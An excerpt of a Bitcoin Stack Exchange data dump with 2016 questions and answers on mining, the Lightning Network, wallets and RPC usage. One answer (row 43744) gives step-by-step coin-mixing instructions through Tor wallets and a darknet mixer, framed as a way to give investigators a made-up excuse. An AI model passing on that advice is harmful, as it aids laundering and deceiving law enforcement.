LastActivityDate="2016-04-14T13:09:40.873" Title="Do Miners have to get below the Target or the Bits value?" Tags="|difficulty|mining-technical-details|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43723" PostTypeId="2" ParentId="43722" CreationDate="2016-04-14T11:32:11.717" Score="2" Body="&lt;p&gt;Below the target value that corresponds to the bits field in the block.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2016-04-14T11:32:11.717" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43724" PostTypeId="2" ParentId="43712" CreationDate="2016-04-14T16:42:01.843" Score="2" Body="&lt;p&gt;Bitcoin XT versions 0.11A through 0.11D supported the withdrawn BIP101, which set version = 0x20000007 as a best-guess nod toward the developing versionbits standard, while trying to maximize backward compatibility with the ways nodes might check for compatible versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin XT version 0.11E supports BIP109, identical to Bitcoin Classic.&lt;/p&gt;&#xA;" OwnerUserId="21546" LastActivityDate="2016-04-14T16:42:01.843" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43725" PostTypeId="1" CreationDate="2016-04-14T18:55:42.153" Score="7" ViewCount="2696" Body="&lt;p&gt;Currently there are 35 million unspent transaction outputs. Is there a site somewhere where I can query this data to see, for instance, how many UTXO's exist with a value less than 20,000 satoshis? Or the total unique &lt;code&gt;scriptPubKey&lt;/code&gt; values found in a  UTXOs?&lt;/p&gt;&#xA;" OwnerUserId="18150" LastActivityDate="2017-05-17T07:14:20.640" Title="Where can I query the UTXO database?" Tags="|utxo|live-data|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43726" PostTypeId="1" CreationDate="2016-04-14T19:30:26.787" Score="4" ViewCount="1970" Body="&lt;p&gt;I know we can send coins using the move, sendtoaddress and sendfrom commands from the console or commandline. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However these commands require to specify an &quot;exact&quot; amount, meaning you need to check the balance before you execute the commands. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to just send all coins to an address or to oneself in the same wallet using just one command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully someone understands what I&quot;m talking about here.&lt;/p&gt;&#xA;" OwnerUserId="34792" LastActivityDate="2016-08-13T15:25:37.887" Title="Is it possible to Send the total balance of Bitcoin from the Wallet using rpc without having to specify the exact amount?" Tags="|transactions|wallet|movecmd|sendtoaddress|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43728" PostTypeId="1" AcceptedAnswerId="43730" CreationDate="2016-04-14T19:53:20.930" Score="15" ViewCount="2638" Body="&lt;p&gt;Especially keeping in mind the possibility of single-funded channels (see &lt;a href=&quot;https://docs.google.com/presentation/d/1G4xchDGcO37DJ2lPC_XYyZIUkJc2khnLrCaZXgvDN0U/edit?pref=2&amp;amp;pli=1#slide=id.g85f425098_0_121&quot;&gt;Tadge's Google Doc Slides&lt;/a&gt;), buying from an exchange and concurrently opening a payment channel on the Lightning network would seem a particularly simple entry to the LN. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Exchanges and payment-providers would therefore seem to be in a natural position to become well-connected. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is it fair to expect emergence of a network topology strongly centered around well-connected nodes such as the aforementioned and other liquidity providers? &lt;/li&gt;&#xA;&lt;li&gt;What incentives are there for establishing additional connections with less well-connected nodes? &lt;/li&gt;&#xA;&lt;li&gt;Is it reasonable to expect the network to &quot;flesh out&quot; with alternative connections around the center nodes?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2020-08-25T18:25:15.793" LastActivityDate="2020-08-25T18:25:15.793" Title="Is centralization in the Lightning network inevitable? Why (not)?" Tags="|lightning-network|decentralization|lightning-routing|ln-topology|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43729" PostTypeId="2" ParentId="43687" CreationDate="2016-04-14T20:52:52.320" Score="22" Body="&lt;p&gt;Note: This answer was written in Spring 2016 and has since been overtaken by an actual spec and multiple implementations. I'm hoping to update this answer shortly.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Summarizing mostly from &lt;a href=&quot;https://np.reddit.com/r/Bitcoin/comments/4ea1s8/how_are_paths_found_in_lightning_network/&quot; rel=&quot;nofollow noreferrer&quot;&gt;r/bitcoin: How are paths found in Lightning Network?&lt;/a&gt;, the currently suggested routing would be similar to the &lt;a href=&quot;https://en.wikipedia.org/wiki/Border_Gateway_Protocol&quot; rel=&quot;nofollow noreferrer&quot;&gt;Border Gateway Protocol&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At intervals, the following process is initiated:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A beacon node &lt;strong&gt;B&lt;/strong&gt; is selected via a pseudo-random process.&lt;/li&gt;&#xA;&lt;li&gt;Neighbors of &lt;strong&gt;B&lt;/strong&gt; broadcast their shortest route to &lt;strong&gt;B&lt;/strong&gt; to their neighbors.&lt;/li&gt;&#xA;&lt;li&gt;The neighbors of neighbors of &lt;strong&gt;B&lt;/strong&gt; now become aware of a route to &lt;strong&gt;B&lt;/strong&gt; and in turn broadcast their shortest route to &lt;strong&gt;B&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;This cascades through the network until every reachable node has broadcasted their shortest route to the beacon node &lt;strong&gt;B&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Whenever a node becomes aware of a new shorter route, it broadcasts this updated shortest route as well.&lt;/li&gt;&#xA;&lt;li&gt;After a short wait, start from top with a new beacon node &lt;strong&gt;B1&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Nodes remember their shortest routes to a number of previously selected beacon node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, Alice wants to send 0.3BTC to Bob.&lt;br&gt;&#xA;Alice has shortest routes to &lt;strong&gt;B&lt;/strong&gt;, &lt;strong&gt;B1&lt;/strong&gt;, and &lt;strong&gt;B2&lt;/strong&gt;. Bob just came online and only knows &lt;strong&gt;B2&lt;/strong&gt;. They add together their respective paths to &lt;strong&gt;B2&lt;/strong&gt; and thus find a path: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     Alice → N1 → N2 → B2 ← N3 ← Bob&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If they have multiple common beacons, they can also compare different paths, and check whether any earlier nodes in their routes match. If they instead had found:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     Alice → N1 → N2 → B2 ← N2 ← Bob&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;They could shorten the route to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     Alice → N1 → N2 ← Bob&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Altogether, &quot;shortest&quot; would be some combination of &lt;em&gt;reachable, sufficient liquidity, lowest fee, fewest hops, and most reliable&lt;/em&gt;. As Hash Time Lock Contracts are nearly trustless (only potentially locking your money for some time), and operating a routing wallet should have low resource requirements, it seems likely that the payment routing market should achieve a healthy competition, therefore discouraging nodes to lock money by establishing channels just to earn fees from routing. Payment channels between nodes that have some form of regular business relationship seem more likely as there is an immediate benefit.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Sources: &lt;a href=&quot;https://np.reddit.com/r/Bitcoin/comments/4ea1s8/how_are_paths_found_in_lightning_network/d1yl55e&quot; rel=&quot;nofollow noreferrer&quot;&gt;harda&lt;/a&gt;, &lt;a href=&quot;https://np.reddit.com/r/Bitcoin/comments/4ea1s8/how_are_paths_found_in_lightning_network/d1ylvve&quot; rel=&quot;nofollow noreferrer&quot;&gt;mmeijeri&lt;/a&gt;, &lt;a href=&quot;https://np.reddit.com/r/Bitcoin/comments/4ea1s8/how_are_paths_found_in_lightning_network/d22sgga&quot; rel=&quot;nofollow noreferrer&quot;&gt;mmeijeri&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2019-08-30T21:52:05.063" LastActivityDate="2019-08-30T21:52:05.063" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="43730" PostTypeId="2" ParentId="43728" CreationDate="2016-04-14T23:50:07.557" Score="17" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;“Centralization” is now a word constantly repeated but is one that, generally speaking, &#xA;   no one tries to define accurately.  ---Alexis de Tocqueville, Democracy in America, Vol.1, Part 1, ch.5. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Lightning Network channels will naturally tend to form along the paths of economic&#xA;activity.  If you assume (as I do) that most economic activity in&#xA;Bitcoin today is from individuals to large Bitcoin businesses (mostly&#xA;exchanges), then you should further assume that most channels will be&#xA;between users and those very same large businesses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can call the centralization if you wish---but it is not a&#xA;centralization of Lightning's making; it is a centralization that already&#xA;exists for Bitcoin users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moreover, even though Bitcoin commerce and trading is dominated by large&#xA;businesses, there are quite a few of those large business.  I haven't&#xA;looked up figures, but I would suspect that Bitcoin commerce has a much&#xA;less centralized distribution than mining at the present time---and with&#xA;new businesses offering Bitcoin-payable services all the time, Bitcoin&#xA;commerce would seem to be in a steady of progressively becoming more&#xA;decentralized.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastEditorUserId="5406" LastEditDate="2016-06-20T14:07:50.617" LastActivityDate="2016-06-20T14:07:50.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43731" PostTypeId="2" ParentId="43728" CreationDate="2016-04-15T02:02:28.827" Score="-3" Body="&lt;p&gt;Sad to see people downvoting this question.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Contrary to Harding's statement that &quot;Lightning Network channels will naturally tend to form along the paths of economic activity&quot;, in LN channels... there are no such paths, there is no routing.. there are only channels with btc stuck between 2 parties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, yes, if one party is Amazon, you may be able to get an enormous amount of different goods.  And if it's your local tomato-farmer, you can only get tomatoes from them.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So centralisation becomes a certainty in LN, be it coinbase, bitpay, amazon, of whomever is big enough to attract inflows of btc... the only incentive is to get big, and get big fast.  &lt;/p&gt;&#xA;" OwnerUserId="890" LastActivityDate="2016-04-15T02:02:28.827" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="43732" PostTypeId="1" CreationDate="2016-04-15T03:29:32.850" Score="0" ViewCount="103" Body="&lt;p&gt;I used Bitcoin-qt (Bitcoin Core) on desktop to create a wallet a while ago and I'm a little confused how it works. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I never fully &quot;synchronized with the network&quot; I'm assuming that means download the entire blockchain. I'm about half way there and 30gb deep. I created an address to receive a transaction but don't have a balance in the wallet. I'm assuming it's because it's never caught up with where my transaction is on the blockchain. Is this correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see when I take the address and look it up online the transaction of receiving the funds I just can't confirm a balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't seem that there's any password that I ever put in either. When everything does sync can I only transfer my balance out using the same app?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I had to replace my hard drive on my mac recently so I took both the Bitcoin app and the &lt;code&gt;Library/Application Support/Bitcoin&lt;/code&gt; folder and put them on my new hard drive, are there any other files I would need to get access to my balance?&lt;/p&gt;&#xA;" OwnerUserId="34795" LastActivityDate="2016-04-15T04:01:12.357" Title="My first transaction using Bitcoin-Qt" Tags="|transactions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43733" PostTypeId="2" ParentId="43732" CreationDate="2016-04-15T04:01:12.357" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I'm assuming it's because it's never caught up with where my transaction is on the blockchain. Is this correct?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I can see when I take the address and look it up online the transaction of receiving the funds I just can't confirm a balance.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's normal, if your client is still synchronizing.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When everything does sync can I only transfer my balance out using the same app?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, it's possible to use a different Bitcoin wallet. You need to 'export' the keys in your wallet to another program. See &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4203/how-can-i-export-the-private-key-for-an-address-from-the-satoshi-client&quot;&gt;How can I export the private key for an address from the satoshi client?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Also I had to replace my hard drive on my mac recently so I took both the Bitcoin app and the &lt;code&gt;Library/Application Support/Bitcoin&lt;/code&gt; folder and put them on my new hard drive, are there any other files I would need to get access to my balance?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is there a file inside there named 'wallet.dat'? If yes, then you have what you need to spend your Bitcoins. If no, then no.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2016-04-15T04:01:12.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43735" PostTypeId="1" CreationDate="2016-04-15T12:35:23.770" Score="0" ViewCount="86" Body="&lt;p&gt;What defines a Buy vs a Sell record in the trading time series of an exchange? In any trade there is always someone selling and someone buying... So what defines a particular trade as Buy or Sell?&lt;/p&gt;&#xA;" OwnerUserId="1603" LastActivityDate="2016-04-17T06:36:47.883" Title="What is a Buy as opposed to a Sell?" Tags="|trading|historical-trade-data|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43736" PostTypeId="2" ParentId="43726" CreationDate="2016-04-15T12:44:49.240" Score="4" Body="&lt;p&gt;Yes, this is possible, but you still need to check the wallet balance first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you need to know the fee, as you usually specify how many BTC are supposed to arrive at the destination, rather than how much is being sent in total.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;sendtoaddress&lt;/code&gt; command takes 5 parameters: address, amount, comment, comment-to, subtractfeefromamount. This last option, subtractfeefromamount, is what you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if your entire wallet balance is 0.1337 BTC, you could issue:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;bitcoin-cli sendtoaddress &quot;address&quot; 0.1337 &quot;&quot; &quot;&quot; true&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Also, you can't use &lt;code&gt;move&lt;/code&gt;, as that does not actually issue a Bitcoin transaction, but only updates internal balances.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2016-04-15T12:44:49.240" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43737" PostTypeId="2" ParentId="38711" CreationDate="2016-04-15T12:45:03.500" Score="1" Body="&lt;p&gt;The private blockchain should answer to :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;distributed database&lt;/li&gt;&#xA;&lt;li&gt;immutability (cannot change the past)&lt;/li&gt;&#xA;&lt;li&gt;integrity (cannot hack the present)&lt;/li&gt;&#xA;&lt;li&gt;consensus to validate new blocks&lt;/li&gt;&#xA;&lt;li&gt;a Turing complete language enabled to allow smart contracts&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="34812" LastEditorUserId="120" LastEditDate="2016-04-15T12:46:09.653" LastActivityDate="2016-04-15T12:46:09.653" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43738" PostTypeId="2" ParentId="43735" CreationDate="2016-04-15T12:55:52.350" Score="1" Body="&lt;p&gt;It is from the perspective of the other person (not yours).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you see &lt;strong&gt;Sell&lt;/strong&gt;, or &lt;strong&gt;Sell Orders&lt;/strong&gt; or &lt;strong&gt;Selling&lt;/strong&gt; or &lt;strong&gt;Asks&lt;/strong&gt; is people willing to sell to you. Thus you look at these entries if you are buying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you see &lt;strong&gt;Buy&lt;/strong&gt;, or &lt;strong&gt;Buy Orders&lt;/strong&gt; or &lt;strong&gt;Buying&lt;/strong&gt; or &lt;strong&gt;Bids&lt;/strong&gt; is people willing to buy from you. Thus you look at these entries if you are selling.&lt;/p&gt;&#xA;" OwnerUserId="31844" LastActivityDate="2016-04-15T12:55:52.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43740" PostTypeId="2" ParentId="43735" CreationDate="2016-04-15T13:35:01.930" Score="0" Body="&lt;p&gt;Orders are either Buy or Sell orders indicating the wish of the person putting those orders into the exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A trade is what happens when 2 orders are (partially) matched. By itself (without further context) a trade is neutral and encompasses both the buy and sell side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding a bit of context, a person could say &quot;I did a buy trade yesterday&quot;.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2016-04-15T13:35:01.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43741" PostTypeId="1" CreationDate="2016-04-15T14:32:06.777" Score="1" ViewCount="16" Body="&lt;p&gt;I have some server on hostinger.&#xA;there is any software or script with that I can mine for with one time setting....&#xA;I tried for php script search in Google but can't find&#xA;Sorry for my poor English&#xA;Pls give miner or script and pool's name link......&lt;/p&gt;&#xA;" OwnerUserId="34816" LastEditorUserId="5406" LastEditDate="2016-04-19T10:01:22.553" LastActivityDate="2016-04-19T10:01:22.553" Title="how To mine Bitcoin With Server?" Tags="|script|server|php|cpu-mining|" AnswerCount="0" CommentCount="0" ClosedDate="2016-04-15T14:47:58.650" ContentLicense="CC BY-SA 3.0" />
  <row Id="43742" PostTypeId="1" CreationDate="2016-04-15T15:57:19.110" Score="0" ViewCount="528" Body="&lt;p&gt;I understand that when you double-sha256 some transaction data, it will give you the TXID for that transaction. This can then be used in future transaction data when you want to reference an existing transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you want to &lt;em&gt;search&lt;/em&gt; for a TXID using bitcoin-cli or a blockexplorer, you have to convert this TXID to little-endian.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TXID (original):  B0570984EA35E417A20327D72414CDA0EB8200418772FA3E1A28D76EF4977CF2&#xA;TXID (searching): F27C97F46ED7281A3EFA7287410082EBA0CD1424D72703A217E435EA840957B0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's the reason for this?&lt;/p&gt;&#xA;" OwnerUserId="24926" LastEditorUserId="24926" LastEditDate="2016-04-15T16:07:19.990" LastActivityDate="2016-04-16T09:20:18.770" Title="Why do you have to search for TXIDs in little-endian?" Tags="|transaction-id|bitcoin-cli|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43743" PostTypeId="1" AcceptedAnswerId="46533" CreationDate="2016-04-15T18:47:32.573" Score="2" ViewCount="411" Body="&lt;p&gt;I'm developing a simple app to learn how to use the bitcoinj library. I'm using the &lt;code&gt;WalletAppKit&lt;/code&gt; object to simplify the process and I'm following the official documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When developing I prefer to use bitcoind regtest mode as it's faster than the testnet3 and I don't need to be connected to the i&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (params == RegTestParams.get()) {&#xA;    // Regression test mode is designed for testing and development only, so there's no public network for it.&#xA;    // If you pick this mode, you're expected to be running a local &quot;bitcoind -regtest&quot; instance.&#xA;    kit.connectToLocalHost();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was playing with the WalletTemplate example desktop app and it works just fine on the regnet. Now I'm trying to do the same on my Android app but I don't know how to connect it to my regnet instance running on my machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how can I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Felipe&lt;/p&gt;&#xA;" OwnerUserId="34822" LastEditorUserId="24573" LastEditDate="2016-07-15T05:43:13.613" LastActivityDate="2016-08-14T05:56:11.170" Title="Connect to regnet from my WalletAppKit Android app" Tags="|wallet|bitcoinj|regtest|android|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43744" PostTypeId="2" ParentId="24138" CreationDate="2016-04-15T19:37:49.243" Score="0" Body="&lt;p&gt;Step #1: Create a wallet on the clearnet. (We will refer to this as wallet #1)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step #2: Buy Bitcoins, and send the amount you want to mix to wallet #1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step #3: Create a second wallet, this time over the Tor network. (wallet #2)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step #4: Send your bitcoins from wallet #1 directly to wallet #2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason for this is to add plausible dependability between your clearnet wallet and in-person purchases. If you are ever investigated by law enforcement or the company from which you are buying coins (this happens with Coinbase.com especially), you can reasonably claim that you sent them to someone else who controls wallet #2 (for whatever made-up reason you have in mind as your excuse for your BTC purchase). After that you have no idea/don’t care what that person did with them, nor should anyone expect you to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step #5: Create a third wallet, also over the Tor network. (wallet #3).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step #6: Use Helix Grams mixer (onion link: grams7yngnpr5rzf.onion) and set up your transaction there using the address(s) from wallet #3. It is best to use multiple addresses, and to set random time delays.&lt;/p&gt;&#xA;" OwnerUserId="34824" LastActivityDate="2016-04-15T19:37:49.243" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43745" PostTypeId="1" CreationDate="2016-04-15T22:25:15.637" Score="3" ViewCount="415" Body="&lt;p&gt;I would like to know the best way to update my RaspNode (rPi 2 B+) to the 0.12.1 bitcoind version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;sudo apt-get install bitcoind&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I also did this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Erased /bin/bitcoin folder&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then into /bin/&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;git clone https://github.com/bitcoin/bitcoin.git&#xA;./autogen.sh&#xA;./configure --enable-upnp-default --disable-wallet&#xA;make -j2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it's still the same version 0.11.2&lt;/p&gt;&#xA;" OwnerUserId="33695" LastEditorUserId="33695" LastEditDate="2016-04-16T13:39:30.223" LastActivityDate="2016-08-26T11:45:36.803" Title="How to update my RaspNode? no GUI only CLI" Tags="|bitcoind|nodes|raspberry-pi|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43746" PostTypeId="1" AcceptedAnswerId="43749" CreationDate="2016-04-15T22:33:08.743" Score="2" ViewCount="309" Body="&lt;p&gt;What would happen if the amount of active Bitcoin users grows up enough so that the average rate at which transactions are created becomes faster than the average rate at which transactions are included in the blockchain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if it doesn't grow up to that point, what if someone simulates this by creating too many transactions?&lt;/p&gt;&#xA;" OwnerUserId="34135" LastEditorUserId="18196" LastEditDate="2016-04-16T01:04:31.040" LastActivityDate="2016-04-16T01:04:31.040" Title="How does bitcoin handle extreme transaction volume?" Tags="|transactions|scalability|time|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43747" PostTypeId="1" AcceptedAnswerId="43750" CreationDate="2016-04-15T23:44:48.207" Score="0" ViewCount="837" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/a/13347/27951&quot;&gt;https://bitcoin.stackexchange.com/a/13347/27951&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based upon the answer here, it seems there's values per block with each &lt;code&gt;Prev_Hash&lt;/code&gt; and also &lt;code&gt;Tx_Root&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There doesn't seem to be much documentation for how to access these. How can I find the &lt;code&gt;Prev_Hash&lt;/code&gt; and the &lt;code&gt;Tx_Root&lt;/code&gt; of the most recent block for example?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="27951" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2016-04-16T01:01:59.680" Title="How to find values of Prev_Hash and Tx_Root" Tags="|bitcoind|blockchain|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43748" PostTypeId="1" CreationDate="2016-04-16T00:21:19.090" Score="1" ViewCount="165" Body="&lt;p&gt;I'm reading Franco's book &quot;Understanding Bitcoin&quot; and greatly enjoying it.  Simultaneously I'm tailing a node log file.  I notice the plethora of &quot;nonstandard transaction: non-final&quot;s.  Franco says these are usually written by miners on bespoke node code bases.  What are the main purposes of such transactions? &lt;/p&gt;&#xA;" OwnerUserId="34825" LastEditorUserId="34825" LastEditDate="2016-04-16T10:25:33.163" LastActivityDate="2016-04-16T10:25:33.163" Title="To what end do miners typically put &quot;nonstandard&quot; transactions" Tags="|transactions|mempool|non-standard-transaction|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="43749" PostTypeId="2" ParentId="43746" CreationDate="2016-04-16T00:56:56.203" Score="1" Body="&lt;p&gt;Basically, transactions just sort of get put in a backlog until there is space enough for them to be processed. That's the usual case anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The more extreme case is when there are too many transactions to even keep in the backlog. To understand what would happen here, you need to know a little bit about the software/people that put transactions into blocks: miners. Miners basically keep a &lt;a href=&quot;https://en.wikipedia.org/wiki/Priority_queue&quot; rel=&quot;nofollow&quot;&gt;priority queue&lt;/a&gt; of transactions, where the transaction priority is determined by the size (in bytes) and the fees it pays. Higher fees and lower size transactions tend to have higher priority. The software that miners run only has so much memory, so if so many transactions are broadcasted to the network that miners can't even keep up, they tend to just 'forget about' the transactions with the least priority. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For users, miners choosing higher priority transactions means that it may be harder for them to get their transaction included in a block. They either have to pay more fees or make smaller transactions to be able to compete.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2016-04-16T00:56:56.203" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="43750" PostTypeId="2" ParentId="43747" CreationDate="2016-04-16T01:01:59.680" Score="1" Body="&lt;p&gt;Look at &lt;a href=&quot;https://blockchain.info/block/000000000000000004f0cc322f551e39676f781186441614da3281bbc7d373e0&quot; rel=&quot;nofollow noreferrer&quot;&gt;a block on a block explorer&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oBJOa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oBJOa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here the Prev_Hash is called 'Previous Block' and the Tx_Root is called 'Merkle Root'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more technical info, take a look at the &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_documentation&quot; rel=&quot;nofollow noreferrer&quot;&gt;Protocol Documentation&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2016-04-16T01:01:59.680" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
